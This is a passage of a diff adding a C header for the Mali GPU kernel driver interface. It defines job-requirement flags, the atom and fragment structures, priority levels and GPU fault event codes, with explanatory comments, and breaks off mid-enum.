+#define BASE_JD_REQ_SOFT_DEBUG_COPY             (BASE_JD_REQ_SOFT_JOB | 0x8)
+
+/* SW only requirement: Just In Time allocation
+ *
+ * This job requests a single or multiple just-in-time allocations through a
+ * list of base_jit_alloc_info structure which is passed via the jc element of
+ * the atom. The number of base_jit_alloc_info structures present in the
+ * list is passed via the nr_extres element of the atom
+ *
+ * It should be noted that the id entry in base_jit_alloc_info must not
+ * be reused until it has been released via BASE_JD_REQ_SOFT_JIT_FREE.
+ *
+ * Should this soft job fail it is expected that a BASE_JD_REQ_SOFT_JIT_FREE
+ * soft job to free the JIT allocation is still made.
+ *
+ * The job will complete immediately.
+ */
+#define BASE_JD_REQ_SOFT_JIT_ALLOC              (BASE_JD_REQ_SOFT_JOB | 0x9)
+
+/* SW only requirement: Just In Time free
+ *
+ * This job requests a single or multiple just-in-time allocations created by
+ * BASE_JD_REQ_SOFT_JIT_ALLOC to be freed. The ID list of the just-in-time
+ * allocations is passed via the jc element of the atom.
+ *
+ * The job will complete immediately.
+ */
+#define BASE_JD_REQ_SOFT_JIT_FREE               (BASE_JD_REQ_SOFT_JOB | 0xa)
+
+/* SW only requirement: Map external resource
+ *
+ * This job requests external resource(s) are mapped once the dependencies
+ * of the job have been satisfied. The list of external resources are
+ * passed via the jc element of the atom which is a pointer to a
+ * base_external_resource_list.
+ */
+#define BASE_JD_REQ_SOFT_EXT_RES_MAP            (BASE_JD_REQ_SOFT_JOB | 0xb)
+
+/* SW only requirement: Unmap external resource
+ *
+ * This job requests external resource(s) are unmapped once the dependencies
+ * of the job has been satisfied. The list of external resources are
+ * passed via the jc element of the atom which is a pointer to a
+ * base_external_resource_list.
+ */
+#define BASE_JD_REQ_SOFT_EXT_RES_UNMAP          (BASE_JD_REQ_SOFT_JOB | 0xc)
+
+/* HW Requirement: Requires Compute shaders (but not Vertex or Geometry Shaders)
+ *
+ * This indicates that the Job Chain contains GPU jobs of the 'Compute
+ * Shaders' type.
+ *
+ * In contrast to BASE_JD_REQ_CS, this does not indicate that the Job
+ * Chain contains 'Geometry Shader' or 'Vertex Shader' jobs.
+ */
+#define BASE_JD_REQ_ONLY_COMPUTE    ((base_jd_core_req)1 << 10)
+
+/* HW Requirement: Use the base_jd_atom::device_nr field to specify a
+ * particular core group
+ *
+ * If both BASE_JD_REQ_COHERENT_GROUP and this flag are set, this flag
+ * takes priority
+ *
+ * This is only guaranteed to work for BASE_JD_REQ_ONLY_COMPUTE atoms.
+ *
+ * If the core availability policy is keeping the required core group turned
+ * off, then the job will fail with a BASE_JD_EVENT_PM_EVENT error code.
+ */
+#define BASE_JD_REQ_SPECIFIC_COHERENT_GROUP ((base_jd_core_req)1 << 11)
+
+/* SW Flag: If this bit is set then the successful completion of this atom
+ * will not cause an event to be sent to userspace
+ */
+#define BASE_JD_REQ_EVENT_ONLY_ON_FAILURE   ((base_jd_core_req)1 << 12)
+
+/* SW Flag: If this bit is set then completion of this atom will not cause an
+ * event to be sent to userspace, whether successful or not.
+ */
+#define BASEP_JD_REQ_EVENT_NEVER ((base_jd_core_req)1 << 14)
+
+/* SW Flag: Skip GPU cache clean and invalidation before starting a GPU job.
+ *
+ * If this bit is set then the GPU's cache will not be cleaned and invalidated
+ * until a GPU job starts which does not have this bit set or a job completes
+ * which does not have the BASE_JD_REQ_SKIP_CACHE_END bit set. Do not use
+ * if the CPU may have written to memory addressed by the job since the last job
+ * without this bit set was submitted.
+ */
+#define BASE_JD_REQ_SKIP_CACHE_START ((base_jd_core_req)1 << 15)
+
+/* SW Flag: Skip GPU cache clean and invalidation after a GPU job completes.
+ *
+ * If this bit is set then the GPU's cache will not be cleaned and invalidated
+ * until a GPU job completes which does not have this bit set or a job starts
+ * which does not have the BASE_JD_REQ_SKIP_CACHE_START bit set. Do not use
+ * if the CPU may read from or partially overwrite memory addressed by the job
+ * before the next job without this bit set completes.
+ */
+#define BASE_JD_REQ_SKIP_CACHE_END ((base_jd_core_req)1 << 16)
+
+/* Request the atom be executed on a specific job slot.
+ *
+ * When this flag is specified, it takes precedence over any existing job slot
+ * selection logic.
+ */
+#define BASE_JD_REQ_JOB_SLOT ((base_jd_core_req)1 << 17)
+
+/* SW-only requirement: The atom is the start of a renderpass.
+ *
+ * If this bit is set then the job chain will be soft-stopped if it causes the
+ * GPU to write beyond the end of the physical pages backing the tiler heap, and
+ * committing more memory to the heap would exceed an internal threshold. It may
+ * be resumed after running one of the job chains attached to an atom with
+ * BASE_JD_REQ_END_RENDERPASS set and the same renderpass ID. It may be
+ * resumed multiple times until it completes without memory usage exceeding the
+ * threshold.
+ *
+ * Usually used with BASE_JD_REQ_T.
+ */
+#define BASE_JD_REQ_START_RENDERPASS ((base_jd_core_req)1 << 18)
+
+/* SW-only requirement: The atom is the end of a renderpass.
+ *
+ * If this bit is set then the atom incorporates the CPU address of a
+ * base_jd_fragment object instead of the GPU address of a job chain.
+ *
+ * Which job chain is run depends upon whether the atom with the same renderpass
+ * ID and the BASE_JD_REQ_START_RENDERPASS bit set completed normally or
+ * was soft-stopped when it exceeded an upper threshold for tiler heap memory
+ * usage.
+ *
+ * It also depends upon whether one of the job chains attached to the atom has
+ * already been run as part of the same renderpass (in which case it would have
+ * written unresolved multisampled and otherwise-discarded output to temporary
+ * buffers that need to be read back). The job chain for doing a forced read and
+ * forced write (from/to temporary buffers) is run as many times as necessary.
+ *
+ * Usually used with BASE_JD_REQ_FS.
+ */
+#define BASE_JD_REQ_END_RENDERPASS ((base_jd_core_req)1 << 19)
+
+/* SW-only requirement: The atom needs to run on a limited core mask affinity.
+ *
+ * If this bit is set then the kbase_context.limited_core_mask will be applied
+ * to the affinity.
+ */
+#define BASE_JD_REQ_LIMITED_CORE_MASK ((base_jd_core_req)1 << 20)
+
+/* These requirement bits are currently unused in base_jd_core_req
+ */
+#define BASEP_JD_REQ_RESERVED \
+	(~(BASE_JD_REQ_ATOM_TYPE | BASE_JD_REQ_EXTERNAL_RESOURCES | \
+	BASE_JD_REQ_EVENT_ONLY_ON_FAILURE | BASEP_JD_REQ_EVENT_NEVER | \
+	BASE_JD_REQ_EVENT_COALESCE | \
+	BASE_JD_REQ_COHERENT_GROUP | BASE_JD_REQ_SPECIFIC_COHERENT_GROUP | \
+	BASE_JD_REQ_FS_AFBC | BASE_JD_REQ_PERMON | \
+	BASE_JD_REQ_SKIP_CACHE_START | BASE_JD_REQ_SKIP_CACHE_END | \
+	BASE_JD_REQ_JOB_SLOT | BASE_JD_REQ_START_RENDERPASS | \
+	BASE_JD_REQ_END_RENDERPASS | BASE_JD_REQ_LIMITED_CORE_MASK))
+
+/* Mask of all bits in base_jd_core_req that control the type of the atom.
+ *
+ * This allows dependency only atoms to have flags set
+ */
+#define BASE_JD_REQ_ATOM_TYPE \
+	(BASE_JD_REQ_FS | BASE_JD_REQ_CS | BASE_JD_REQ_T | BASE_JD_REQ_CF | \
+	BASE_JD_REQ_V | BASE_JD_REQ_SOFT_JOB | BASE_JD_REQ_ONLY_COMPUTE)
+
+/**
+ * Mask of all bits in base_jd_core_req that control the type of a soft job.
+ */
+#define BASE_JD_REQ_SOFT_JOB_TYPE (BASE_JD_REQ_SOFT_JOB | 0x1f)
+
+/* Returns non-zero value if core requirements passed define a soft job or
+ * a dependency only job.
+ */
+#define BASE_JD_REQ_SOFT_JOB_OR_DEP(core_req) \
+	(((core_req) & BASE_JD_REQ_SOFT_JOB) || \
+	((core_req) & BASE_JD_REQ_ATOM_TYPE) == BASE_JD_REQ_DEP)
+
+/**
+ * enum kbase_jd_atom_state
+ *
+ * @KBASE_JD_ATOM_STATE_UNUSED: Atom is not used.
+ * @KBASE_JD_ATOM_STATE_QUEUED: Atom is queued in JD.
+ * @KBASE_JD_ATOM_STATE_IN_JS:  Atom has been given to JS (is runnable/running).
+ * @KBASE_JD_ATOM_STATE_HW_COMPLETED: Atom has been completed, but not yet
+ *                                    handed back to job dispatcher for
+ *                                    dependency resolution.
+ * @KBASE_JD_ATOM_STATE_COMPLETED: Atom has been completed, but not yet handed
+ *                                 back to userspace.
+ */
+enum kbase_jd_atom_state {
+	KBASE_JD_ATOM_STATE_UNUSED,
+	KBASE_JD_ATOM_STATE_QUEUED,
+	KBASE_JD_ATOM_STATE_IN_JS,
+	KBASE_JD_ATOM_STATE_HW_COMPLETED,
+	KBASE_JD_ATOM_STATE_COMPLETED
+};
+
+/**
+ * typedef base_atom_id - Type big enough to store an atom number in.
+ */
+typedef __u8 base_atom_id;
+
+/**
+ * struct base_dependency -
+ *
+ * @atom_id:         An atom number
+ * @dependency_type: Dependency type
+ */
+struct base_dependency {
+	base_atom_id atom_id;
+	base_jd_dep_type dependency_type;
+};
+
+/**
+ * struct base_jd_fragment - Set of GPU fragment job chains used for rendering.
+ *
+ * @norm_read_norm_write: Job chain for full rendering.
+ *                        GPU address of a fragment job chain to render in the
+ *                        circumstance where the tiler job chain did not exceed
+ *                        its memory usage threshold and no fragment job chain
+ *                        was previously run for the same renderpass.
+ *                        It is used no more than once per renderpass.
+ * @norm_read_forced_write: Job chain for starting incremental
+ *                          rendering.
+ *                          GPU address of a fragment job chain to render in
+ *                          the circumstance where the tiler job chain exceeded
+ *                          its memory usage threshold for the first time and
+ *                          no fragment job chain was previously run for the
+ *                          same renderpass.
+ *                          Writes unresolved multisampled and normally-
+ *                          discarded output to temporary buffers that must be
+ *                          read back by a subsequent forced_read job chain
+ *                          before the renderpass is complete.
+ *                          It is used no more than once per renderpass.
+ * @forced_read_forced_write: Job chain for continuing incremental
+ *                            rendering.
+ *                            GPU address of a fragment job chain to render in
+ *                            the circumstance where the tiler job chain
+ *                            exceeded its memory usage threshold again
+ *                            and a fragment job chain was previously run for
+ *                            the same renderpass.
+ *                            Reads unresolved multisampled and
+ *                            normally-discarded output from temporary buffers
+ *                            written by a previous forced_write job chain and
+ *                            writes the same to temporary buffers again.
+ *                            It is used as many times as required until
+ *                            rendering completes.
+ * @forced_read_norm_write: Job chain for ending incremental rendering.
+ *                          GPU address of a fragment job chain to render in the
+ *                          circumstance where the tiler job chain did not
+ *                          exceed its memory usage threshold this time and a
+ *                          fragment job chain was previously run for the same
+ *                          renderpass.
+ *                          Reads unresolved multisampled and normally-discarded
+ *                          output from temporary buffers written by a previous
+ *                          forced_write job chain in order to complete a
+ *                          renderpass.
+ *                          It is used no more than once per renderpass.
+ *
+ * This structure is referenced by the main atom structure if
+ * BASE_JD_REQ_END_RENDERPASS is set in the base_jd_core_req.
+ */
+struct base_jd_fragment {
+	__u64 norm_read_norm_write;
+	__u64 norm_read_forced_write;
+	__u64 forced_read_forced_write;
+	__u64 forced_read_norm_write;
+};
+
+/**
+ * typedef base_jd_prio - Base Atom priority.
+ *
+ * Only certain priority levels are actually implemented, as specified by the
+ * BASE_JD_PRIO_<...> definitions below. It is undefined to use a priority
+ * level that is not one of those defined below.
+ *
+ * Priority levels only affect scheduling after the atoms have had dependencies
+ * resolved. For example, a low priority atom that has had its dependencies
+ * resolved might run before a higher priority atom that has not had its
+ * dependencies resolved.
+ *
+ * In general, fragment atoms do not affect non-fragment atoms with
+ * lower priorities, and vice versa. One exception is that there is only one
+ * priority value for each context. So a high-priority (e.g.) fragment atom
+ * could increase its context priority, causing its non-fragment atoms to also
+ * be scheduled sooner.
+ *
+ * The atoms are scheduled as follows with respect to their priorities:
+ * * Let atoms 'X' and 'Y' be for the same job slot who have dependencies
+ *   resolved, and atom 'X' has a higher priority than atom 'Y'
+ * * If atom 'Y' is currently running on the HW, then it is interrupted to
+ *   allow atom 'X' to run soon after
+ * * If instead neither atom 'Y' nor atom 'X' are running, then when choosing
+ *   the next atom to run, atom 'X' will always be chosen instead of atom 'Y'
+ * * Any two atoms that have the same priority could run in any order with
+ *   respect to each other. That is, there is no ordering constraint between
+ *   atoms of the same priority.
+ *
+ * The sysfs file 'js_ctx_scheduling_mode' is used to control how atoms are
+ * scheduled between contexts. The default value, 0, will cause higher-priority
+ * atoms to be scheduled first, regardless of their context. The value 1 will
+ * use a round-robin algorithm when deciding which context's atoms to schedule
+ * next, so higher-priority atoms can only preempt lower priority atoms within
+ * the same context. See KBASE_JS_SYSTEM_PRIORITY_MODE and
+ * KBASE_JS_PROCESS_LOCAL_PRIORITY_MODE for more details.
+ */
+typedef __u8 base_jd_prio;
+
+/* Medium atom priority. This is a priority higher than BASE_JD_PRIO_LOW */
+#define BASE_JD_PRIO_MEDIUM  ((base_jd_prio)0)
+/* High atom priority. This is a priority higher than BASE_JD_PRIO_MEDIUM and
+ * BASE_JD_PRIO_LOW
+ */
+#define BASE_JD_PRIO_HIGH    ((base_jd_prio)1)
+/* Low atom priority. */
+#define BASE_JD_PRIO_LOW     ((base_jd_prio)2)
+/* Real-Time atom priority. This is a priority higher than BASE_JD_PRIO_HIGH,
+ * BASE_JD_PRIO_MEDIUM, and BASE_JD_PRIO_LOW
+ */
+#define BASE_JD_PRIO_REALTIME    ((base_jd_prio)3)
+
+/* Count of the number of priority levels. This itself is not a valid
+ * base_jd_prio setting
+ */
+#define BASE_JD_NR_PRIO_LEVELS 4
+
+/**
+ * struct base_jd_atom_v2 - Node of a dependency graph used to submit a
+ *                          GPU job chain or soft-job to the kernel driver.
+ *
+ * @jc:            GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS
+ *                 is set in the base_jd_core_req) the CPU address of a
+ *                 base_jd_fragment object.
+ * @udata:         User data.
+ * @extres_list:   List of external resources.
+ * @nr_extres:     Number of external resources or JIT allocations.
+ * @jit_id:        Zero-terminated array of IDs of just-in-time memory
+ *                 allocations written to by the atom. When the atom
+ *                 completes, the value stored at the
+ *                 &struct_base_jit_alloc_info.heap_info_gpu_addr of
+ *                 each allocation is read in order to enforce an
+ *                 overall physical memory usage limit.
+ * @pre_dep:       Pre-dependencies. One need to use SETTER function to assign
+ *                 this field; this is done in order to reduce possibility of
+ *                 improper assignment of a dependency field.
+ * @atom_number:   Unique number to identify the atom.
+ * @prio:          Atom priority. Refer to base_jd_prio for more details.
+ * @device_nr:     Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP
+ *                 specified.
+ * @jobslot:       Job slot to use when BASE_JD_REQ_JOB_SLOT is specified.
+ * @core_req:      Core requirements.
+ * @renderpass_id: Renderpass identifier used to associate an atom that has
+ *                 BASE_JD_REQ_START_RENDERPASS set in its core requirements
+ *                 with an atom that has BASE_JD_REQ_END_RENDERPASS set.
+ * @padding:       Unused. Must be zero.
+ *
+ * This structure has changed since UK 10.2 for which base_jd_core_req was a
+ * __u16 value.
+ *
+ * In UK 10.3 a core_req field of a __u32 type was added to the end of the
+ * structure, and the place in the structure previously occupied by __u16
+ * core_req was kept but renamed to compat_core_req.
+ *
+ * From UK 11.20 - compat_core_req is now occupied by __u8 jit_id[2].
+ * Compatibility with UK 10.x from UK 11.y is not handled because
+ * the major version increase prevents this.
+ *
+ * For UK 11.20 jit_id[2] must be initialized to zero.
+ */
+struct base_jd_atom_v2 {
+	__u64 jc;
+	struct base_jd_udata udata;
+	__u64 extres_list;
+	__u16 nr_extres;
+	__u8 jit_id[2];
+	struct base_dependency pre_dep[2];
+	base_atom_id atom_number;
+	base_jd_prio prio;
+	__u8 device_nr;
+	__u8 jobslot;
+	base_jd_core_req core_req;
+	__u8 renderpass_id;
+	__u8 padding[7];
+};
+
+/**
+ * struct base_jd_atom - Same as base_jd_atom_v2, but has an extra seq_nr
+ *                          at the beginning.
+ *
+ * @seq_nr:        Sequence number of logical grouping of atoms.
+ * @jc:            GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS
+ *                 is set in the base_jd_core_req) the CPU address of a
+ *                 base_jd_fragment object.
+ * @udata:         User data.
+ * @extres_list:   List of external resources.
+ * @nr_extres:     Number of external resources or JIT allocations.
+ * @jit_id:        Zero-terminated array of IDs of just-in-time memory
+ *                 allocations written to by the atom. When the atom
+ *                 completes, the value stored at the
+ *                 &struct_base_jit_alloc_info.heap_info_gpu_addr of
+ *                 each allocation is read in order to enforce an
+ *                 overall physical memory usage limit.
+ * @pre_dep:       Pre-dependencies. One need to use SETTER function to assign
+ *                 this field; this is done in order to reduce possibility of
+ *                 improper assignment of a dependency field.
+ * @atom_number:   Unique number to identify the atom.
+ * @prio:          Atom priority. Refer to base_jd_prio for more details.
+ * @device_nr:     Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP
+ *                 specified.
+ * @jobslot:       Job slot to use when BASE_JD_REQ_JOB_SLOT is specified.
+ * @core_req:      Core requirements.
+ * @renderpass_id: Renderpass identifier used to associate an atom that has
+ *                 BASE_JD_REQ_START_RENDERPASS set in its core requirements
+ *                 with an atom that has BASE_JD_REQ_END_RENDERPASS set.
+ * @padding:       Unused. Must be zero.
+ */
+typedef struct base_jd_atom {
+	__u64 seq_nr;
+	__u64 jc;
+	struct base_jd_udata udata;
+	__u64 extres_list;
+	__u16 nr_extres;
+	__u8 jit_id[2];
+	struct base_dependency pre_dep[2];
+	base_atom_id atom_number;
+	base_jd_prio prio;
+	__u8 device_nr;
+	__u8 jobslot;
+	base_jd_core_req core_req;
+	__u8 renderpass_id;
+	__u8 padding[7];
+} base_jd_atom;
+
+struct base_jit_alloc_info {
+	__u64 gpu_alloc_addr;
+	__u64 va_pages;
+	__u64 commit_pages;
+	__u64 extension;
+	__u8 id;
+	__u8 bin_id;
+	__u8 max_allocations;
+	__u8 flags;
+	__u8 padding[2];
+	__u16 usage_id;
+	__u64 heap_info_gpu_addr;
+};
+
+/* Job chain event code bits
+ * Defines the bits used to create ::base_jd_event_code
+ */
+enum {
+	BASE_JD_SW_EVENT_KERNEL = (1u << 15), /* Kernel side event */
+	BASE_JD_SW_EVENT = (1u << 14), /* SW defined event */
+	/* Event indicates success (SW events only) */
+	BASE_JD_SW_EVENT_SUCCESS = (1u << 13),
+	BASE_JD_SW_EVENT_JOB = (0u << 11), /* Job related event */
+	BASE_JD_SW_EVENT_BAG = (1u << 11), /* Bag related event */
+	BASE_JD_SW_EVENT_INFO = (2u << 11), /* Misc/info event */
+	BASE_JD_SW_EVENT_RESERVED = (3u << 11),	/* Reserved event type */
+	/* Mask to extract the type from an event code */
+	BASE_JD_SW_EVENT_TYPE_MASK = (3u << 11)
+};
+
+/**
+ * enum base_jd_event_code - Job chain event codes
+ *
+ * @BASE_JD_EVENT_RANGE_HW_NONFAULT_START: Start of hardware non-fault status
+ *                                         codes.
+ *                                         Obscurely, BASE_JD_EVENT_TERMINATED
+ *                                         indicates a real fault, because the
+ *                                         job was hard-stopped.
+ * @BASE_JD_EVENT_NOT_STARTED: Can't be seen by userspace, treated as
+ *                             'previous job done'.
+ * @BASE_JD_EVENT_STOPPED:     Can't be seen by userspace, becomes
+ *                             TERMINATED, DONE or JOB_CANCELLED.
+ * @BASE_JD_EVENT_TERMINATED:  This is actually a fault status code - the job
+ *                             was hard stopped.
+ * @BASE_JD_EVENT_ACTIVE: Can't be seen by userspace, jobs only returned on
+ *                        complete/fail/cancel.
+ * @BASE_JD_EVENT_RANGE_HW_NONFAULT_END: End of hardware non-fault status codes.
+ *                                       Obscurely, BASE_JD_EVENT_TERMINATED
+ *                                       indicates a real fault,
+ *                                       because the job was hard-stopped.
+ * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START: Start of hardware fault and
+ *                                                  software error status codes.
+ * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END: End of hardware fault and
+ *                                                software error status codes.
+ * @BASE_JD_EVENT_RANGE_SW_SUCCESS_START: Start of software success status
+ *                                        codes.
+ * @BASE_JD_EVENT_RANGE_SW_SUCCESS_END: End of software success status codes.
+ * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_START: Start of kernel-only status codes.
+ *                                         Such codes are never returned to
+ *                                         user-space.
+ * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_END: End of kernel-only status codes.
+ * @BASE_JD_EVENT_DONE: atom has completed successfull
+ * @BASE_JD_EVENT_JOB_CONFIG_FAULT: Atom dependencies configuration error which
+ *                                  shall result in a failed atom
+ * @BASE_JD_EVENT_JOB_POWER_FAULT:  The job could not be executed because the
+ *                                  part of the memory system required to access
+ *                                  job descriptors was not powered on
+ * @BASE_JD_EVENT_JOB_READ_FAULT:   Reading a job descriptor into the Job
+ *                                  manager failed
+ * @BASE_JD_EVENT_JOB_WRITE_FAULT:  Writing a job descriptor from the Job
+ *                                  manager failed
+ * @BASE_JD_EVENT_JOB_AFFINITY_FAULT: The job could not be executed because the
+ *                                    specified affinity mask does not intersect
+ *                                    any available cores
+ * @BASE_JD_EVENT_JOB_BUS_FAULT:    A bus access failed while executing a job
+ * @BASE_JD_EVENT_INSTR_INVALID_PC: A shader instruction with an illegal program
+ *                                  counter was executed.
+ * @BASE_JD_EVENT_INSTR_INVALID_ENC: A shader instruction with an illegal
+ *                                  encoding was executed.
+ * @BASE_JD_EVENT_INSTR_TYPE_MISMATCH: A shader instruction was executed where
+ *                                  the instruction encoding did not match the
+ *                                  instruction type encoded in the program
+ *                                  counter.
+ * @BASE_JD_EVENT_INSTR_OPERAND_FAULT: A shader instruction was executed that
+ *                                  contained invalid combinations of operands.
+ * @BASE_JD_EVENT_INSTR_TLS_FAULT:  A shader instruction was executed that tried
+ *                                  to access the thread local storage section
+ *                                  of another thread.
+ * @BASE_JD_EVENT_INSTR_ALIGN_FAULT: A shader instruction was executed that
+ *                                  tried to do an unsupported unaligned memory
+ *                                  access.
+ * @BASE_JD_EVENT_INSTR_BARRIER_FAULT: A shader instruction was executed that
+ *                                  failed to complete an instruction barrier.
+ * @BASE_JD_EVENT_DATA_INVALID_FAULT: Any data structure read as part of the job
+ *                                  contains invalid combinations of data.
+ * @BASE_JD_EVENT_TILE_RANGE_FAULT: Tile or fragment shading was asked to
+ *                                  process a tile that is entirely outside the
+ *                                  bounding box of the frame.
+ * @BASE_JD_EVENT_STATE_FAULT:      Matches ADDR_RANGE_FAULT. A virtual address
+ *                                  has been found that exceeds the virtual
+ *                                  address range.
+ * @BASE_JD_EVENT_OUT_OF_MEMORY:    The tiler ran out of memory when executing a job.
+ * @BASE_JD_EVENT_UNKNOWN:          If multiple jobs in a job chain fail, only
+ *                                  the first one the reports an error will set
+ *                                  and return full error information.
+ *                                  Subsequent failing jobs will not update the
+ *                                  error status registers, and may write an
+ *                                  error status of UNKNOWN.
+ * @BASE_JD_EVENT_DELAYED_BUS_FAULT: The GPU received a bus fault for access to
+ *                                  physical memory where the original virtual
+ *                                  address is no longer available.
+ * @BASE_JD_EVENT_SHAREABILITY_FAULT: Matches GPU_SHAREABILITY_FAULT. A cache
+ *                                  has detected that the same line has been
+ *                                  accessed as both shareable and non-shareable
+ *                                  memory from inside the GPU.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1: A memory access hit an invalid table
+ *                                  entry at level 1 of the translation table.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2: A memory access hit an invalid table
+ *                                  entry at level 2 of the translation table.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3: A memory access hit an invalid table
+ *                                  entry at level 3 of the translation table.
+ * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4: A memory access hit an invalid table
+ *                                  entry at level 4 of the translation table.
+ * @BASE_JD_EVENT_PERMISSION_FAULT: A memory access could not be allowed due to
+ *                                  the permission flags set in translation
+ *                                  table
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1: A bus fault occurred while reading
+ *                                  level 0 of the translation tables.
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2: A bus fault occurred while reading
+ *                                  level 1 of the translation tables.
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3: A bus fault occurred while reading
+ *                                  level 2 of the translation tables.
+ * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4: A bus fault occurred while reading
+ *                                  level 3 of the translation tables.
+ * @BASE_JD_EVENT_ACCESS_FLAG:      Matches ACCESS_FLAG_0. A memory access hit a
+ *                                  translation table entry with the ACCESS_FLAG
+ *                                  bit set to zero in level 0 of the
+ *                                  page table, and the DISABLE_AF_FAULT flag
+ *                                  was not set.
+ * @BASE_JD_EVENT_MEM_GROWTH_FAILED: raised for JIT_ALLOC atoms that failed to
+ *                                   grow memory on demand
+ * @BASE_JD_EVENT_JOB_CANCELLED: raised when this atom was hard-stopped or its
+ *                               dependencies failed
+ * @BASE_JD_EVENT_JOB_INVALID: raised for many reasons, including invalid data
+ *                             in the atom which overlaps with
+ *                             BASE_JD_EVENT_JOB_CONFIG_FAULT, or if the
+ *                             platform doesn't support the feature specified in
+ *                             the atom.
+ * @BASE_JD_EVENT_PM_EVENT:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_TIMED_OUT:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_BAG_INVALID:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_PROGRESS_REPORT:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_BAG_DONE:   TODO: remove as it's not used
+ * @BASE_JD_EVENT_DRV_TERMINATED: this is a special event generated to indicate
+ *                                to userspace that the KBase context has been
+ *                                destroyed and Base should stop listening for
+ *                                further events
+ * @BASE_JD_EVENT_REMOVED_FROM_NEXT: raised when an atom that was configured in
+ *                                   the GPU has to be retried (but it has not
+ *                                   started) due to e.g., GPU reset
+ * @BASE_JD_EVENT_END_RP_DONE: this is used for incremental rendering to signal
+ *                             the completion of a renderpass. This value
+ *                             shouldn't be returned to userspace but I haven't
+ *                             seen where it is reset back to JD_EVENT_DONE.
+ *
+ * HW and low-level SW events are represented by event codes.
+ * The status of jobs which succeeded are also represented by
+ * an event code (see @BASE_JD_EVENT_DONE).
+ * Events are usually reported as part of a &struct base_jd_event.
+ *
+ * The event codes are encoded in the following way:
+ * * 10:0  - subtype
+ * * 12:11 - type
+ * * 13    - SW success (only valid if the SW bit is set)
+ * * 14    - SW event (HW event if not set)
+ * * 15    - Kernel event (should never be seen in userspace)
+ *
+ * Events are split up into ranges as follows:
+ * * BASE_JD_EVENT_RANGE_<description>_START
+ * * BASE_JD_EVENT_RANGE_<description>_END
+ *
+ * code is in <description>'s range when:
+ * BASE_JD_EVENT_RANGE_<description>_START <= code <
+ *   BASE_JD_EVENT_RANGE_<description>_END
+ *
+ * Ranges can be asserted for adjacency by testing that the END of the previous
+ * is equal to the START of the next. This is useful for optimizing some tests
+ * for range.
+ *
+ * A limitation is that the last member of this enum must explicitly be handled
+ * (with an assert-unreachable statement) in switch statements that use
+ * variables of this type. Otherwise, the compiler warns that we have not
+ * handled that enum value.
+ */
+enum base_jd_event_code {
+	/* HW defined exceptions */
+	BASE_JD_EVENT_RANGE_HW_NONFAULT_START = 0,
+
+	/* non-fatal exceptions */
+	BASE_JD_EVENT_NOT_STARTED = 0x00,
+	BASE_JD_EVENT_DONE = 0x01,
+	BASE_JD_EVENT_STOPPED = 0x03,
+	BASE_JD_EVENT_TERMINATED = 0x04,
+	BASE_JD_EVENT_ACTIVE = 0x08,
+
+	BASE_JD_EVENT_RANGE_HW_NONFAULT_END = 0x40,
+	BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START = 0x40,
+
+	/* job exceptions */
+	BASE_JD_EVENT_JOB_CONFIG_FAULT = 0x40,
+	BASE_JD_EVENT_JOB_POWER_FAULT = 0x41,
+	BASE_JD_EVENT_JOB_READ_FAULT = 0x42,
+	BASE_JD_EVENT_JOB_WRITE_FAULT = 0x43,
+	BASE_JD_EVENT_JOB_AFFINITY_FAULT = 0x44,
+	BASE_JD_EVENT_JOB_BUS_FAULT = 0x48,
+	BASE_JD_EVENT_INSTR_INVALID_PC = 0x50,
+	BASE_JD_EVENT_INSTR_INVALID_ENC = 0x51,
+	BASE_JD_EVENT_INSTR_TYPE_MISMATCH = 0x52,
+	BASE_JD_EVENT_INSTR_OPERAND_FAULT = 0x53,
+	BASE_JD_EVENT_INSTR_TLS_FAULT = 0x54,
+	BASE_JD_EVENT_INSTR_BARRIER_FAULT = 0x55,
+	BASE_JD_EVENT_INSTR_ALIGN_FAULT = 0x56,
+	BASE_JD_EVENT_DATA_INVALID_FAULT = 0x58,
+	BASE_JD_EVENT_TILE_RANGE_FAULT = 0x59,
+	BASE_JD_EVENT_STATE_FAULT = 0x5A,
+	BASE_JD_EVENT_OUT_OF_MEMORY = 0x60,
+	BASE_JD_EVENT_UNKNOWN = 0x7F,
+
+	/* GPU exceptions */
+	BASE_JD_EVENT_DELAYED_BUS_FAULT = 0x80,
+	BASE_JD_EVENT_SHAREABILITY_FAULT = 0x88,
+
+	/* MMU exceptions */
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1 = 0xC1,
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2 = 0xC2,
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3 = 0xC3,
+	BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4 = 0xC4,
+	BASE_JD_EVENT_PERMISSION_FAULT = 0xC8,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1 = 0xD1,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2 = 0xD2,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3 = 0xD3,
+	BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4 = 0xD4,
+	BASE_JD_EVENT_ACCESS_FLAG = 0xD8,
+
+	/* SW defined exceptions */
+	BASE_JD_EVENT_MEM_GROWTH_FAILED =
+		BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x000,
+	BASE_JD_EVENT_TIMED_OUT =
